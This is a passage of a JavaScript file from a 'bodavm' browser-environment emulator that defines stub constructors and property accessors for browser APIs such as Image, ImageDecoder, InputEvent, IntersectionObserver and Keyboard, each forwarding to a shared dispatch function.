"Image", "src_get", arguments)}, set:function src (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "src_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "srcset", {configurable:true, enumerable:true, get:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "srcset_get", arguments)}, set:function srcset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "srcset_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "sizes", {configurable:true, enumerable:true, get:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "sizes_get", arguments)}, set:function sizes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "sizes_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "crossOrigin", {configurable:true, enumerable:true, get:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "crossOrigin_get", arguments)}, set:function crossOrigin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "crossOrigin_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "useMap", {configurable:true, enumerable:true, get:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "useMap_get", arguments)}, set:function useMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "useMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "isMap", {configurable:true, enumerable:true, get:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "isMap_get", arguments)}, set:function isMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "isMap_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "width_get", arguments)}, set:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "width_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "height_get", arguments)}, set:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "height_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "naturalWidth", {configurable:true, enumerable:true, get:function naturalWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "naturalWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "naturalHeight", {configurable:true, enumerable:true, get:function naturalHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "naturalHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "complete", {configurable:true, enumerable:true, get:function complete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "complete_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "currentSrc", {configurable:true, enumerable:true, get:function currentSrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "currentSrc_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "referrerPolicy_get", arguments)}, set:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "referrerPolicy_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "decoding", {configurable:true, enumerable:true, get:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decoding_get", arguments)}, set:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decoding_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "name_get", arguments)}, set:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "name_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "lowsrc", {configurable:true, enumerable:true, get:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "lowsrc_get", arguments)}, set:function lowsrc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "lowsrc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "align", {configurable:true, enumerable:true, get:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "align_get", arguments)}, set:function align (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "align_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "hspace", {configurable:true, enumerable:true, get:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "hspace_get", arguments)}, set:function hspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "hspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "vspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "longDesc", {configurable:true, enumerable:true, get:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "longDesc_get", arguments)}, set:function longDesc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "longDesc_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "border", {configurable:true, enumerable:true, get:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "border_get", arguments)}, set:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "border_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "decode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "fetchPriority", {configurable:true, enumerable:true, get:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "fetchPriority_get", arguments)}, set:function fetchPriority (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "fetchPriority_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Image', "loading", {configurable:true, enumerable:true, get:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "loading_get", arguments)}, set:function loading (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Image'].prototype, "Image", "loading_set", arguments)}},'prototype'); - -// ImageBitmap对象 -bodavm.memory.globalobj['ImageBitmap'] = function ImageBitmap(){if (!(this instanceof ImageBitmap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageBitmap'], "ImageBitmap"); -bodavm.toolsFunc.defineProperty('ImageBitmap', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageBitmap', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageBitmap', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmap'].prototype, "ImageBitmap", "close", arguments)}},'prototype'); - -// ImageBitmapRenderingContext对象 -bodavm.memory.globalobj['ImageBitmapRenderingContext'] = function ImageBitmapRenderingContext(){if (!(this instanceof ImageBitmapRenderingContext)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageBitmapRenderingContext'], "ImageBitmapRenderingContext"); -bodavm.toolsFunc.defineProperty('ImageBitmapRenderingContext', "canvas", {configurable:true, enumerable:true, get:function canvas (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmapRenderingContext'].prototype, "ImageBitmapRenderingContext", "canvas_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageBitmapRenderingContext', "transferFromImageBitmap", {configurable:true, enumerable:true, writable:true, value:function transferFromImageBitmap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageBitmapRenderingContext'].prototype, "ImageBitmapRenderingContext", "transferFromImageBitmap", arguments)}},'prototype'); - -// ImageCapture对象 -bodavm.memory.globalobj['ImageCapture'] = function ImageCapture(){if (!(this instanceof ImageCapture)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageCapture': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageCapture'], "ImageCapture"); -bodavm.toolsFunc.defineProperty('ImageCapture', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "track_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageCapture', "getPhotoCapabilities", {configurable:true, enumerable:true, writable:true, value:function getPhotoCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "getPhotoCapabilities", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ImageCapture', "getPhotoSettings", {configurable:true, enumerable:true, writable:true, value:function getPhotoSettings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "getPhotoSettings", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ImageCapture', "grabFrame", {configurable:true, enumerable:true, writable:true, value:function grabFrame (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "grabFrame", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ImageCapture', "takePhoto", {configurable:true, enumerable:true, writable:true, value:function takePhoto (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageCapture'].prototype, "ImageCapture", "takePhoto", arguments)}},'prototype'); - -// ImageData对象 -bodavm.memory.globalobj['ImageData'] = function ImageData(){if (!(this instanceof ImageData)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageData': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageData'], "ImageData"); -bodavm.toolsFunc.defineProperty('ImageData', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageData', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageData', "colorSpace", {configurable:true, enumerable:true, get:function colorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "colorSpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageData', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageData'].prototype, "ImageData", "data_get", arguments)}, set:undefined},'prototype'); - -// ImageDecoder对象 -bodavm.memory.globalobj['ImageDecoder'] = function ImageDecoder(){if (!(this instanceof ImageDecoder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ImageDecoder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageDecoder'], "ImageDecoder"); -bodavm.toolsFunc.defineProperty('ImageDecoder', "isTypeSupported", {configurable:true, enumerable:true, writable:true, value:function isTypeSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].undefined, "ImageDecoder", "isTypeSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('ImageDecoder', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "complete", {configurable:true, enumerable:true, get:function complete (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "complete_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "completed", {configurable:true, enumerable:true, get:function completed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "completed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "tracks", {configurable:true, enumerable:true, get:function tracks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "tracks_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "decode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ImageDecoder', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageDecoder'].prototype, "ImageDecoder", "reset", arguments)}},'prototype'); - -// ImageTrack对象 -bodavm.memory.globalobj['ImageTrack'] = function ImageTrack(){if (!(this instanceof ImageTrack)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageTrack'], "ImageTrack"); -bodavm.toolsFunc.defineProperty('ImageTrack', "frameCount", {configurable:true, enumerable:true, get:function frameCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "frameCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrack', "animated", {configurable:true, enumerable:true, get:function animated (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "animated_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrack', "repetitionCount", {configurable:true, enumerable:true, get:function repetitionCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "repetitionCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrack', "selected", {configurable:true, enumerable:true, get:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "selected_get", arguments)}, set:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrack'].prototype, "ImageTrack", "selected_set", arguments)}},'prototype'); - -// ImageTrackList对象 -bodavm.memory.globalobj['ImageTrackList'] = function ImageTrackList(){if (!(this instanceof ImageTrackList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ImageTrackList'], "ImageTrackList"); -bodavm.toolsFunc.defineProperty('ImageTrackList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrackList', "selectedIndex", {configurable:true, enumerable:true, get:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "selectedIndex_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrackList', "selectedTrack", {configurable:true, enumerable:true, get:function selectedTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "selectedTrack_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ImageTrackList', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ImageTrackList'].prototype, "ImageTrackList", "ready_get", arguments)}, set:undefined},'prototype'); - -// indexedDB对象 -bodavm.memory.globalobj['indexedDB'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['indexedDB'].__proto__=bodavm.memory.globalobj['IDBFactory'].prototype; - -// Ink对象 -bodavm.memory.globalobj['Ink'] = function Ink(){if (!(this instanceof Ink)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Ink'], "Ink"); -bodavm.toolsFunc.defineProperty('Ink', "requestPresenter", {configurable:true, enumerable:true, writable:true, value:function requestPresenter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Ink'].prototype, "Ink", "requestPresenter", arguments)}},'prototype'); - -// innerHeight对象 -bodavm.memory.globalobj['innerHeight'] = { - _boisinit:bodavm.config.isinit - } - -// innerWidth对象 -bodavm.memory.globalobj['innerWidth'] = { - _boisinit:bodavm.config.isinit - } - -// InputDeviceCapabilities对象 -bodavm.memory.globalobj['InputDeviceCapabilities'] = function InputDeviceCapabilities(){this._boarg= new bodaobj.window.InputDeviceCapabilities();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputDeviceCapabilities'], "InputDeviceCapabilities"); -bodavm.toolsFunc.defineProperty('InputDeviceCapabilities', "firesTouchEvents", {configurable:true, enumerable:true, get:function firesTouchEvents (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputDeviceCapabilities'].prototype, "InputDeviceCapabilities", "firesTouchEvents_get", arguments)}, set:undefined},'prototype'); - -// InputDeviceInfo对象 -bodavm.memory.globalobj['InputDeviceInfo'] = function InputDeviceInfo(){if (!(this instanceof InputDeviceInfo)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputDeviceInfo'], "InputDeviceInfo"); -bodavm.memory.globalobj['InputDeviceInfo'].prototype.__proto__=bodavm.memory.globalobj['MediaDeviceInfo'].prototype; -bodavm.memory.globalobj['InputDeviceInfo'].__proto__=bodavm.memory.globalobj['MediaDeviceInfo']; -bodavm.toolsFunc.defineProperty('InputDeviceInfo', "getCapabilities", {configurable:true, enumerable:true, writable:true, value:function getCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputDeviceInfo'].prototype, "InputDeviceInfo", "getCapabilities", arguments)}},'prototype'); - -// InputEvent对象 -bodavm.memory.globalobj['InputEvent'] = function InputEvent(){if (!(this instanceof InputEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'InputEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['InputEvent'], "InputEvent"); -bodavm.memory.globalobj['InputEvent'].prototype.__proto__=bodavm.memory.globalobj['UIEvent'].prototype; -bodavm.memory.globalobj['InputEvent'].__proto__=bodavm.memory.globalobj['UIEvent']; -bodavm.toolsFunc.defineProperty('InputEvent', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('InputEvent', "isComposing", {configurable:true, enumerable:true, get:function isComposing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "isComposing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('InputEvent', "inputType", {configurable:true, enumerable:true, get:function inputType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "inputType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('InputEvent', "dataTransfer", {configurable:true, enumerable:true, get:function dataTransfer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "dataTransfer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('InputEvent', "getTargetRanges", {configurable:true, enumerable:true, writable:true, value:function getTargetRanges (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['InputEvent'].prototype, "InputEvent", "getTargetRanges", arguments)}},'prototype'); - -// IntersectionObserver对象 -bodavm.memory.globalobj['IntersectionObserver'] = function IntersectionObserver(){if (!(this instanceof IntersectionObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'IntersectionObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IntersectionObserver'], "IntersectionObserver"); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "root", {configurable:true, enumerable:true, get:function root (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "root_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "rootMargin", {configurable:true, enumerable:true, get:function rootMargin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "rootMargin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "thresholds", {configurable:true, enumerable:true, get:function thresholds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "thresholds_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "delay", {configurable:true, enumerable:true, get:function delay (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "delay_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "trackVisibility", {configurable:true, enumerable:true, get:function trackVisibility (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "trackVisibility_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "takeRecords", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserver', "unobserve", {configurable:true, enumerable:true, writable:true, value:function unobserve (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserver'].prototype, "IntersectionObserver", "unobserve", arguments)}},'prototype'); - -// IntersectionObserverEntry对象 -bodavm.memory.globalobj['IntersectionObserverEntry'] = function IntersectionObserverEntry(){if (!(this instanceof IntersectionObserverEntry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['IntersectionObserverEntry'], "IntersectionObserverEntry"); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "time", {configurable:true, enumerable:true, get:function time (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "time_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "rootBounds", {configurable:true, enumerable:true, get:function rootBounds (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "rootBounds_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "boundingClientRect", {configurable:true, enumerable:true, get:function boundingClientRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "boundingClientRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "intersectionRect", {configurable:true, enumerable:true, get:function intersectionRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "intersectionRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "isIntersecting", {configurable:true, enumerable:true, get:function isIntersecting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "isIntersecting_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "isVisible", {configurable:true, enumerable:true, get:function isVisible (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "isVisible_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "intersectionRatio", {configurable:true, enumerable:true, get:function intersectionRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "intersectionRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('IntersectionObserverEntry', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['IntersectionObserverEntry'].prototype, "IntersectionObserverEntry", "target_get", arguments)}, set:undefined},'prototype'); - -// isSecureContext对象 -bodavm.memory.globalobj['isSecureContext'] = { - _boisinit:bodavm.config.isinit - } - -// Keyboard对象 -bodavm.memory.globalobj['Keyboard'] = function Keyboard(){if (!(this instanceof Keyboard)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Keyboard'], "Keyboard"); -bodavm.toolsFunc.defineProperty('Keyboard', "getLayoutMap", {configurable:true, enumerable:true, writable:true, value:function getLayoutMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "getLayoutMap", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Keyboard', "lock", {configurable:true, enumerable:true, writable:true, value:function lock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Keyboard'].prototype, "Keyboard", "lock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Keyboard', "unlock", {configurable:true, enumerable:true, writable:true, value:function unlock (){return bodavm.toolsFunc.dispatch(this, 